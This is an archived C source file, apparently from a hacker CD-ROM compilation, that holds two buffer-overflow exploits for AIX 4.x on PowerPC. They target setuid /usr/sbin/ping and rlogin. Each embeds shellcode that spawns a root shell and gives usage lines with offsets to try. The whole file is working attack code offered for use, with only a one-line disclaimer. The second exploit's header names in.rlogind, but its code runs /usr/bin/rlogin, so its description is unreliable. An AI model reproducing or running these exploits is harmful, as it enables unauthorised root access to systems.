home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / aix_ping.c < prev    next >
Encoding:
C/C++ Source or Header  |  2001-11-06  |  5.1 KB  |  204 lines

  1.  
  2. /*
  3.  *
  4.  *   /usr/sbin/ping exploit (kinda' coded) by BeastMaster V    
  5.  * 
  6.  *   CREDITS: this is simpy a modified version of an exploit
  7.  *   posted by Georgi Guninski (guninski@hotmail.com)
  8.  *
  9.  *   This will give a #rootshell# by overwriting a buffer
  10.  *   in /usr/sbin/ping while ping is setuid to root.
  11.  *   This exploit is designed for AIX 4.x on PPC platform.    
  12.  *
  13.  *
  14.  *   USAGE: 
  15.  *            $ cc -o foo -g aix_ping.c
  16.  *            $ ./foo 5300
  17.  *            #
  18.  *
  19.  *      
  20.  *   HINT: Try giving ranges from 5090 through 5500
  21.  *
  22.  *   DISCLAIMER: use this program in a responsible manner.
  23.  *
  24.  *   --> don't forget to visit http://www.rootshell.com
  25.  *   --> for more goodies :-)
  26.  *
  27.  */
  28.  
  29. #include <stdio.h>
  30. #include <stdlib.h>
  31. #include <string.h>
  32.  
  33. extern int execv();
  34.  
  35. #define MAXBUF 600
  36.  
  37. unsigned int code[]={
  38.         0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
  39.         0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
  40.         0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
  41.         0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
  42.         0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
  43.         0x7c0903a6 , 0x4e800420, 0x0
  44. };
  45.  
  46. char *createvar(char *name,char *value)
  47. {
  48.     char *c;
  49.     int l;
  50.  
  51.     l=strlen(name)+strlen(value)+4;
  52.     if (! (c=malloc(l))) {perror("error allocating");exit(2);};
  53.     strcpy(c,name);
  54.     strcat(c,"=");
  55.     strcat(c,value);
  56.     putenv(c);
  57.     return c;
  58. }
  59.  
  60. main(int argc,char **argv,char **env)
  61. {
  62.     unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt;
  63.     int min=100, max=280;
  64.     unsigned int return_address;
  65.     char *newenv[8];
  66.     char *args[4];
  67.     int offset=5300;
  68.  
  69.     if (argc==2) offset = atoi(argv[1]);
  70.  
  71.     pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt;
  72.  
  73.     *((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff);
  74.     *((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000ffff);
  75.     *((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff);
  76.     *((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000ffff);
  77.  
  78.     return_address=(unsigned)&buf[0]+offset;
  79.  
  80.     for(nop=0;nop<min;nop++) buf[nop]=0x4ffffb82;
  81.     strcpy((char*)&buf[nop],(char*)&code);
  82.     i=nop+strlen( (char*) &code)/4-1;
  83.  
  84.     for(i=0;i<max-1;i++) frame[i]=return_address;
  85.     frame[i]=0;
  86.  
  87.     newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
  88.     newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
  89.     newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
  90.     newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
  91.     newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
  92.     newenv[5]=NULL;
  93.  
  94.     args[0]="ping";
  95.     args[1]=(char*)&frame[0];
  96.     execve("/usr/sbin/ping",args,newenv);
  97.     perror("Error executing execve \n");
  98.  
  99. }
  100.  
  101.  
  102.  
  103. ---------------------------------------------------------------------
  104.  
  105.  
  106. /*
  107.  *
  108.  *   /usr/sbin/in.rlogind exploit coded by BeastMaster V    
  109.  * 
  110.  *   CREDITS: this is simpy a modified version of an exploit
  111.  *   posted by Georgi Guninski (guninski@hotmail.com)
  112.  *
  113.  *   This will give a #rootshell# by overwriting a buffer
  114.  *   in gethostbyname() in /usr/sbin/rlogind.
  115.  *   This exploit is designed for AIX 4.x on PPC platform.    
  116.  *
  117.  *
  118.  *   USAGE: 
  119.  *            $ cc -o foo -g aix_rlogin.c
  120.  *            $ ./foo 4100
  121.  *            #
  122.  *
  123.  *      
  124.  *   HINT: Try giving ranges from 3000 through 9000
  125.  *
  126.  *   DISCLAIMER: use this program in a responsible manner.
  127.  *
  128.  *   --> don't forget to visit http://www.rootshell.com
  129.  *   --> for more goodies :-)
  130.  *
  131.  */
  132.  
  133. #include <stdio.h>
  134. #include <stdlib.h>
  135. #include <string.h>
  136.  
  137. extern int execv();
  138.  
  139. #define MAXBUF 600
  140.  
  141. unsigned int code[]={
  142.         0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
  143.         0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
  144.         0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
  145.         0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
  146.         0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
  147.         0x7c0903a6 , 0x4e800420, 0x0
  148. };
  149.  
  150. char *createvar(char *name,char *value)
  151. {
  152.     char *c;
  153.     int l;
  154.  
  155.     l=strlen(name)+strlen(value)+4;
  156.     if (! (c=malloc(l))) {perror("error allocating");exit(2);};
  157.     strcpy(c,name);
  158.     strcat(c,"=");
  159.     strcat(c,value);
  160.     putenv(c);
  161.     return c;
  162. }
  163.  
  164. main(int argc,char **argv,char **env)
  165. {
  166.     unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt;
  167.     int min=100, max=280;
  168.     unsigned int return_address;
  169.     char *newenv[8];
  170.     char *args[4];
  171.     int offset=5300;
  172.  
  173.     if (argc==2) offset = atoi(argv[1]);
  174.  
  175.     pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt;
  176.  
  177.     *((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff);
  178.     *((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000ffff);
  179.     *((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff);
  180.     *((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000ffff);
  181.  
  182.     return_address=(unsigned)&buf[0]+offset;
  183.  
  184.     for(nop=0;nop<min;nop++) buf[nop]=0x4ffffb82;
  185.     strcpy((char*)&buf[nop],(char*)&code);
  186.     i=nop+strlen( (char*) &code)/4-1;
  187.  
  188.     for(i=0;i<max-1;i++) frame[i]=return_address;
  189.     frame[i]=0;
  190.  
  191.     newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
  192.     newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
  193.     newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
  194.     newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
  195.     newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
  196.     newenv[6]=NULL;
  197.  
  198.     args[0]="rlogin";
  199.     args[1]=(char*)&frame[0];
  200.     execve("/usr/bin/rlogin",args,newenv);
  201.     perror("Error executing execve \n");
  202.  
  203. }
  204.